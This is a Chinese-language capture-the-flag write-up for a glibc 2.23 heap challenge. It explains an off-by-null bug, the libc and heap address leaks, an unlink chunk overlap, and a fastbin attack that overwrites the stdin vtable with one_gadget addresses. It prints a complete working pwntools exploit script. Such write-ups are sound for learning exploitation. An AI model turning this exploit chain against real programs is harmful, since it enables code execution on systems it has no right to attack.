题目在buu上能找到远端环境
题目分析
看一下保护

good,保护全开
libc此题是2.23的
看一下内容

比较经典的菜单题,循环结束会开沙箱,禁用system,不过本题思路一仍然可以在循环内getshell,此沙箱可以暂时忽略,1、2、3、4分别对应增删改查,5是退出,不过我的打法仍然没有用到edit功能
增

sub_c16函数限制了此题不能修改mallochook和freehook。主体部分存在明显的off by null漏洞,可以借此实现堆块合并操作。结合循环条件可知,堆块下标从零计算,最多可以放9个(下标为8)
删

指针表置零了,没有UAF,结合off by null漏洞,考虑unlink控制任意堆块
查

很普通的查
改

输入任意地址改一字节
思路分析
首先利用unsortedbin attack获得libcbase,利用fastbin attack获得heapbase。
由于没有UAF,所以此题想要实现任意地址写,需要有一种可以任意写的技巧,故而想到unlink,通过伪造堆块,我可以对已有的unsortedbin进行向上合并,从而获得一块更大的unsortedbin,这个unsortedbin和原有unsortedbin上面那一个堆块物理上重叠,再次申请适当大小时,会从unsortedbin里进行切割,从而修改原先上一个堆块的内容(注意,上一个堆块的指针没有free过,指针表里还保存着该指针,可以继续访问),达到类似UAF的攻击效果,故而可以修改fastbin的fd指针实现任意地址写
最后,如果将stdin的vtable项改写成某个地址,这个地址里装满了onegadget,那么他下一次跳转的时候就会直接调用onegadget,从而getshell(当然,如果对vtable更为熟悉可以只在特定位置写一个onegadget就够了)
获取libcbase和heapbase
这部分比较基础,不多讲解了,直接上payload
#-------------leak libc-----------------
add(0xf0,b'/bin/sh')#0
add(0x20,b'/bin/sh')#1 防合并
delete(0)
add(0xf0,b'a'*7)#0
show(0)#此处泄露unsortedbin的bk
p.recvuntil(b'aaaaaaa\n')
unsortedbk=u64(p.recv(6).ljust(8,b'\x00'))
print('unsortedbk:',hex(unsortedbk))
libcbase=unsortedbk-0x3c4b78
print('libcbase:',hex(libcbase))
onegadget=[0x45216+libcbase,0x4526a+libcbase,0xf02a4+libcbase,0xf1147+libcbase]
#-------------leak heap-------------------
add(0x20,b'/bin/sh\0'*4)#2
add(0x20,b'/bin/sh\0'*4)#3
delete(1)
delete(2)
add(0x20,b'')#1
add(0x20,b'/bin/sh\0'*4)#2
show(1)
chunk2addr=u64(p.recv(6).ljust(8,b'\x00'))-0xa+0x10
print('chunk2addr:',hex(chunk2addr))
unlink
这里看过其他师傅的一些blog,仿照他们的做法,选用了0x40,0x68,0xf0三种大小的堆块,要注意的是0x68的堆块,其size位是0x71,意味着该堆块会复用下一个堆块的presize位(之前我都忘了)
payload先上一下
#------------------unlink------------------
fakechunk=p64(0)+p64(0xb1)+p64(chunk2addr+0xb0-8)+p64(chunk2addr+0xb0)+p64(chunk2addr+0xa0)
add(0x40,fakechunk)#4
add(0x68,b'\x00'*0x60+p64(0xb0))#5
add(0xf0,p64(onegadget[2])*30)#6
add(0x20,b'a')#7防合并
delete(5)#先申请后删除在申请是因为堆块6在5下面,需要先删除5,在重新申请,才能实现off by null的复写
add(0x68,b'\x00'*0x60+p64(0xb0))#5
attach(p)
pause()
delete(6)
放到gdb里我们来看一下他们的构成

这是删除堆块6之前的堆块构成,可以看到,经过堆块5的先释放后重新申请,成功实现了将下一个堆块的size位改写为00(因为有off by null漏洞)所以选择0xf0大小的堆块原因就在这里,他的size位原本刚好是0x101,如果小于0xf0,那他的size位只有两位,经过off by null之后就无意义了。
同时,这里先申请5后释放5然后再次申请5的原因是为了让上图中的5在6的上方,但由于是先申请的5,在申请6之前触发的off by null,所以要释放5在重新申请5,从而修改下一个堆块的size位
由于堆块5申请的大小是0x68,所以刚好可以修改堆块6的presize位,这样,在free(6)的时候,就会利用presize位向上寻找相应位置的堆块,在这题中刚好就是我们构造的fake chunk处,这里他会进行unlink的检查,即检查fake chunk的fd的bk指针是否指向fake chunk,fake chunk的bk指针的fd是否指向fake chunk,所以fake chunk里放的数据分别是fakechunkaddr+0x8,fakechunkaddr+0x10,fakechunkaddr,从而绕过检查,实现unlink
delete(6),触发unlink,我们得到了一块size位为0x1b1的unsortedbin

fastbin attack
先上payload
#--------------fasebin attack---------------
#-----------修改stdin的IOjump指针指向一个存放onegadget的堆块----------------
stdinfakeaddr=libcbase+0x3c4985-8#8e0
delete(5)
add(0x70,p64(0)*7+p64(0x71)+p64(stdinfakeaddr))#5
add(0x68,b'\x00'*0x60+p64(0xb0))#5 内容不重要,重点是大小,要申请一个0x68的
delete(1)#这里要删一下是因为最多能申请9个堆块,此时已经申请满了
fakeiojump=chunk2addr+0x160
# attach(p)
# pause()
add(0x68,b'\x00'*3+2*p64(0)+p64(0xffffffff)+2*p64(0)+p64(fakeiojump))
在gdb里看一下stdin的构成

最后一个数据便是vtable指针,也就是我们想要修改的指针,箭头指向的地方有一个可以利用的0x7f,可以用来伪造size,经过调试,我们发现在97d处存在一个可以利用的0x7f

红框处就是原先的vtable
因此我们首先删除堆块5,接着申请一个0x70的堆块,该堆块会切割unsortedbin,实现对堆块5的覆盖,具体大小不重要,只要能覆盖到堆块5的fd指针就可以了,之后再申请两个0x68大小的堆块,第一次申请会申请到原堆块,第二次申请就会把堆块申请到fd指针的位置,从而改写vtable,从而getshell
完整代码
from pwn import *
context.log_level = 'debug'
context.arch='amd64'
p = process('./domo')
# p=remote('node5.buuoj.cn',26987)
def choose(num):
p.sendlineafter(b'> ',str(num))
def add(size,content):
choose(1)
p.sendlineafter(b'size:\n',str(size))
p.sendlineafter(b'content:\n',content)
def delete(num):#本题堆块从0开始计数
choose(2)
p.sendlineafter(b'index:\n',str(num))
def show(num):
choose(3)
p.sendlineafter(b'index:\n',str(num))
def edit(addr,onebyte):
choose(4)
p.sendlineafter(b'addr:\n',addr)
p.sendlineafter(b'num:\n',onebyte)
#-------------leak libc-----------------
add(0xf0,b'/bin/sh')#0
add(0x20,b'/bin/sh')#1 防合并
delete(0)
add(0xf0,b'a'*7)#0
show(0)#此处泄露unsortedbin的bk
p.recvuntil(b'aaaaaaa\n')
unsortedbk=u64(p.recv(6).ljust(8,b'\x00'))
print('unsortedbk:',hex(unsortedbk))
libcbase=unsortedbk-0x3c4b78
print('libcbase:',hex(libcbase))
onegadget=[0x45216+libcbase,0x4526a+libcbase,0xf02a4+libcbase,0xf1147+libcbase]
#-------------leak heap-------------------
add(0x20,b'/bin/sh\0'*4)#2
add(0x20,b'/bin/sh\0'*4)#3
delete(1)
delete(2)
add(0x20,b'')#1
add(0x20,b'/bin/sh\0'*4)#2
show(1)
chunk2addr=u64(p.recv(6).ljust(8,b'\x00'))-0xa+0x10
print('chunk2addr:',hex(chunk2addr))
#------------------unlink------------------
fakechunk=p64(0)+p64(0xb1)+p64(chunk2addr+0xb0-8)+p64(chunk2addr+0xb0)+p64(chunk2addr+0xa0)
add(0x40,fakechunk)#4
add(0x68,b'\x00'*0x60+p64(0xb0))#5
add(0xf0,p64(onegadget[2])*30)#6
add(0x20,b'a')#7防合并
delete(5)#先申请后删除在申请是因为堆块6在5下面,需要先删除5,在重新申请,才能实现off by null的复写
add(0x68,b'\x00'*0x60+p64(0xb0))#5
delete(6)
'''
0x7f90e20d28d5: 0x000000000000007f 0x00fbad2288000000
0x7f90e20d28e5 <_IO_2_1_stdin_+5>: 0x890d46e010000000 0x890d46e010000055
0x7f90e20d28f5 <_IO_2_1_stdin_+21>: 0x890d46e010000055 0x890d46e010000055
0x7f90e20d2905 <_IO_2_1_stdin_+37>: 0x890d46e010000055 0x890d46e010000055
0x7f90e20d2915 <_IO_2_1_stdin_+53>: 0x890d46e010000055 0x890d46f010000055
0x7f90e20d2925 <_IO_2_1_stdin_+69>: 0x0000000000000055 0x0000000000000000
0x7f90e20d2935 <_IO_2_1_stdin_+85>: 0x0000000000000000 0x0000000000000000
0x7f90e20d2945 <_IO_2_1_stdin_+101>: 0x0000000000000000 0x1000000000000000
0x7f90e20d2955 <_IO_2_1_stdin_+117>: 0xffffffffff000000 0x0000000000ffffff
0x7f90e20d2965 <_IO_2_1_stdin_+133>: 0x90e20d4790000000 0xffffffffff00007f
0x7f90e20d2975 <_IO_2_1_stdin_+149>: 0x0000000000ffffff 0x90e20d29c0000000
0x7f90e20d2985 <_IO_2_1_stdin_+165>: 0x000000000000007f 0x0000000000000000
0x7f90e20d2995 <_IO_2_1_stdin_+181>: 0x0000000000000000 0x00ffffffff000000
0x7f90e20d29a5 <_IO_2_1_stdin_+197>: 0x0000000000000000 0x0000000000000000
0x7f90e20d29b5 <_IO_2_1_stdin_+213>: 0x90e20d16e0000000 0x000000000000007f
'''
#--------------fasebin attack---------------
#-----------修改stdin的IOjump指针指向一个存放onegadget的堆块----------------
stdinfakeaddr=libcbase+0x3c4985-8#8e0
delete(5)
add(0x70,p64(0)*7+p64(0x71)+p64(stdinfakeaddr))#5
add(0x68,b'\x00'*0x60+p64(0xb0))#5 内容不重要,重点是大小,要申请一个0x68的
delete(1)#这里要删一下是因为最多能申请9个堆块,此时已经申请满了
fakeiojump=chunk2addr+0x160
attach(p)
pause()
add(0x68,b'\x00'*3+2*p64(0)+p64(0xffffffff)+2*p64(0)+p64(fakeiojump))
p.interactive()
本题还有另一种思路,就是在泄露完libcbase和heapbase后,通过该写stdout进行任意读,获取到environ中存放的堆地址,从而任意写程序的返回地址,进行orw,但目前我的调试出现了问题,待解决问题后再进行补充